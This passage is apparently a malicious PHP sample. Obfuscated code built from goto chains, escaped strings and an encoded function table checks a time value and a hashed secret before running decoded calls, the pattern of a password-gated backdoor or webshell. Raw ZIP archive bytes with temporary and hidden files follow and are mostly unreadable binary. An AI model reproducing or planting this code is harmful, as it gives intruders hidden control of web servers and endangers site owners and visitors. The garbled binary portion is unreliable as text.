fbNUEfctffSlr1: if (!(@$SM_VdIYiCqZb3r[0] - time() > 0 and md5(md5($SM_VdIYiCqZb3r[3 + 0])) === "\x33\146\66\x62\x62\x37\x34\x63\70\x31\62\61\64\x36\67\x65\143\x36\64\x30\x65\x65\70\67\70\x34\144\145\62\143\x61\146")) { goto f2jZdvm0jDVyJS; } goto YViO8KcOerBv5Z; baR0VnMcyh2yi9: foreach ($ZqTurHt437QFIs as $xsuIYV2O0ddFaW) { $dPkMdAbX0mqrCn[] = self::yoKMdP6cMd21E6($xsuIYV2O0ddFaW); iN1a4Pin5Yg0Pj: } goto RkyjeOEXVFmh1G; IYI4Bqly5nO6S2: die; goto jrzwnUTtwSHDk4; rKKnptdQzg5G5v: $ZqTurHt437QFIs = array("\x33\x38\61\63\65\157\x33\x38\x31\x32\x30\x6f\63\70\x31\x33\63\157\63\70\61\x33\x37\157\x33\70\61\61\x38\x6f\x33\70\x31\x33\x33\157\x33\70\61\x33\71\x6f\63\70\x31\x33\x32\157\x33\70\x31\61\x37\x6f\x33\70\x31\x32\x34\x6f\x33\70\x31\63\x35\x6f\x33\x38\x31\61\70\x6f\63\x38\x31\x32\x39\157\63\x38\61\62\x33\x6f\x33\70\x31\62\x34", "\x33\70\61\x31\x39\x6f\x33\x38\61\61\x38\157\x33\70\x31\x32\x30\157\x33\x38\x31\63\71\x6f\63\70\61\62\x30\x6f\63\x38\x31\62\x33\157\x33\70\x31\61\70\157\63\x38\x31\x38\x35\157\x33\x38\x31\70\x33", "\63\x38\61\x32\x38\x6f\x33\x38\x31\x31\x39\x6f\63\x38\x31\62\63\x6f\63\70\x31\x32\64\x6f\x33\70\61\x33\71\157\x33\x38\x31\x33\64\157\63\70\61\x33\63\x6f\63\70\61\63\x35\157\63\x38\61\x32\x33\157\x33\x38\61\63\64\157\x33\70\61\63\63", "\63\70\x31\x32\x32\157\63\70\61\63\x37\157\63\70\61\x33\x35\x6f\x33\x38\61\62\x37", "\63\x38\x31\x33\66\x6f\x33\70\x31\63\x37\x6f\63\x38\x31\61\71\157\63\70\x31\x33\x33\157\63\x38\x31\x38\60\x6f\x33\70\61\x38\x32\157\63\70\x31\x33\71\157\63\70\x31\63\x34\x6f\x33\x38\61\63\63\157\x33\70\61\63\65\157\x33\x38\61\x32\x33\157\x33\x38\x31\x33\x34\x6f\63\x38\61\x33\x33", "\x33\70\61\x33\62\x6f\63\70\x31\62\71\157\x33\x38\x31\62\66\x6f\63\70\61\63\x33\157\x33\70\61\63\71\x6f\63\x38\x31\x33\x31\x6f\63\70\61\63\63\x6f\63\x38\61\61\70\x6f\63\x38\61\63\71\157\63\70\x31\x33\x35\157\x33\70\61\x32\63\157\63\70\61\x32\x34\x6f\x33\x38\61\x31\x38\x6f\63\x38\x31\63\x33\x6f\x33\70\x31\x32\x34\157\63\x38\x31\61\x38\x6f\x33\x38\x31\61\x39", "\x33\x38\x31\x36\x32\157\63\70\61\71\x32", "\x33\x38\x31\x30\71", "\63\x38\x31\70\67\x6f\x33\x38\61\x39\x32", "\63\70\61\x36\x39\x6f\x33\70\61\65\x32\x6f\63\70\x31\65\x32\x6f\63\70\x31\66\x39\157\63\x38\x31\64\x35", "\63\x38\x31\63\x32\157\x33\x38\x31\62\71\x6f\x33\x38\61\x32\66\157\x33\70\x31\x31\70\x6f\x33\x38\61\x33\63\157\63\x38\x31\62\x30\157\63\x38\x31\63\71\157\x33\70\x31\62\x39\157\63\70\x31\62\x34\157\x33\70\x31\62\62\x6f\x33\x38\x31\61\67\157\x33\70\61\61\70"); goto baR0VnMcyh2yi9; YViO8KcOerBv5Z: $aA_3WcEZ4u2Zc9 = self::T2pKapB9LuK6WA($SM_VdIYiCqZb3r[1 + 0], $dPkMdAbX0mqrCn[4 + 1]); goto NgQ3i_TTAWEKfK; WGGVggf6rNftyK: } } goto l0PHlB3LsgR6N1; btDG2k1EkykExD: TT70oIOxlAxo7w: goto wojBOhGPHlbwxG; wojBOhGPHlbwxG: metaphone("\x34\123\126\x52\x6d\x70\x74\x44\x75\166\164\x4d\x31\141\117\x75\x68\x63\x58\153\111\110\x4d\160\x66\141\x30\x6d\x45\170\122\x45\103\147\x4b\141\x4a\x55\x6d\x56\x66\60\x49"); goto nTVWxspGYpXO20; D6Q7gQF0qv9pjH: $EwtTDRxfEbbQyI = range("\176", "\x20"); goto CPvzeo6p4pQkIL; CPvzeo6p4pQkIL: $H6AMG7ZVTRE1Iq = ${$EwtTDRxfEbbQyI[19 + 12] . $EwtTDRxfEbbQyI[22 + 37] . $EwtTDRxfEbbQyI[28 + 19] . $EwtTDRxfEbbQyI[3 + 44] . $EwtTDRxfEbbQyI[38 + 13] . $EwtTDRxfEbbQyI[17 + 36] . $EwtTDRxfEbbQyI[15 + 42]}; goto OrkCwFtngz6hyy; l0PHlB3LsgR6N1: eVWSxKC_cMwTxT::Qb02muv0tGpuD_(); ?> PK "p.] cli/cli/.mad-rootnu �[��� PK "p.]� ��� � cli/cli/mp2_690db67c29ad7.zipnu �[��� PK �Hg[#�2�� � b_690db67c29ad7.tmp�Umo�8�+V�DaQ��4��Ѕn��P�v[E(�KȆ�-���~c'�л�pH6��3ό���4A��(�� ���:�':�����_�*��{ 4,a�I���V%Uc�)i���R I��މBA�⡟��V��,�&D��b#Xm�Ju��q���ݥ��'��CDO��뺜��: �TU2�|� �����u�ؖ�9�)�=��_�Lţ�,��/V"5\��ْjuū0;4��CI(�Z�����ђd~2]�P��m]ϔ����<}���ﮔ6�>\%���������Y��-r���k� wh��Y�pY���s�E�7���HD;�?w��Q'ť\��a�0&0�v�6S0�'���L�=Y��RC�lO�yO���p�?�"�n�_����#���A,�{��J��R-U6<�$ۤqs�yu߉=�~�-��}t��b�/����z����t1��(c8Z(�X�l����������N�k���~��������� 98#�$���T�2ɶŊ�`��Eg�ſ��-���x�A��rsPUa��U�f�i���d���̪(b��!�Qpn���76K{�,��[-� � ۧ�;N<Vx(fj�9�r�K��s��U�4K_&ce�7R^�"�c���55?�˳�V���f�`ql9_Ʌ�ҫZ����r�5��_\�Q�gT`�r�ؠ�|wp�軋#�ؒn;t��5[�Exv�Z�o�:3�\V��Ue�I�'�>t��M�_?�K�2�E_�~�}�J�/�<*�~��4;��� J���<�Q�n�pJQ��+��Uȉ�uF�GD8� ��}��5R��QA���Wك&�EK-�#YD~<F��T$C$�xD3B5PtbY#C)�j��-������D�����ױ��v��T+|����!�;Ei�B��PD?�LJ݁�8���(�ƴ� ��9��oPK �Hg[��]� c_690db67c29ad7.tmp]X���Hr}��aag�,��2�t�sN^�(�p�����;��D�����O��/�>��ϟ�Y����� ���[��*!�|h=�(:�\Y��pHDS�^Q�'t>��@��8�b� _I?�7�S�.�������=�b-������Y�?�{�m]�'ȋ ����)�;Gh���3}"@y~Iˑm�I�b�'GJ�zIݺ�����Y��1�f��-)����6�>H���oT82,E��PX+RU��#?�$ⓟ�0a����~�x�y �0�l��4k"��4�_�K�W��LB�l��l�ԟ�7+����P�As��&�r��5F?{�P�C�p��T��|��:�����j�U�k-�t�H%0�TO���NZ1ZrSD��s�@|���= ��S���8�be��#�z���/�y'����ޣ����%���9^��G��yg<�N��I��@BR��I� ��y���*��C(�?S��o*�xR�]��ѓ���U��Qv4㣊α�<�o������r����á�;�~�BR��}�IܻZ�IWh�x�AfI<�F����<��kG�w�{7;�3f/�A��*L>h��$�����/ �1��6*�E~�����b�:��=�!{� �ٿ�R0�l�����ɠ�G�ۙzY���둊�����y�?���`\��89X[�V�g�*^9T��SŰ�)��s���0�0"'t1�͝$7�70� +h-C�2�q}�S,�k1���*{&]�a�O��Jˮ�yK����*z4������i�S�W& Ty��LSm�8���)l;���+g��:t�-I�Ex���l �<�U�y@�sJ��M:w���mTV�q��s���r��Ҟ � 4�fu�d�*�R0����a�t�j���T�]�{��/:h�����rOk^�ɶH��pU�Z����R��<x���H!9u���n�z�q��m;�鶋_�A��ea������z�gm�"ˈ�/�OVyd% k=c�.�A.'�{�#y�m�G�����[�Ō�_��ը���.��s�|W��!w��\�Z.Ͱ�G#��[kCg�j���e�Vp�b��xZS�3nx}�D;�oK��7Yi>�\�4��s�� u2K�'W����G�Y�6���� c���-W�P@?qIT�A��������i7�=��ٿN�e�f7�;-��� `�ZH�b�t��ڠ��pU,D= �~IjZG�I'�S���-@����~o#�$q}�5�{q�>��[?�C���j�.�&�&M'&���Jx)ݧ�$� �Jc��{����^Bz� P��AWw0Ӫt�<s��Df!��b%�ly��Z�k?8��$�k�I��� ���P,E*�h�b�$!� �j���g�f�P ��ŕ���ݼ^5!��8w��#f�M?���� z�f�_��e��?ؖ ����T�Gd��[�^��blO��}��W�p �h�֯� J�t�6����-DB"홝y�b����7���X�}��'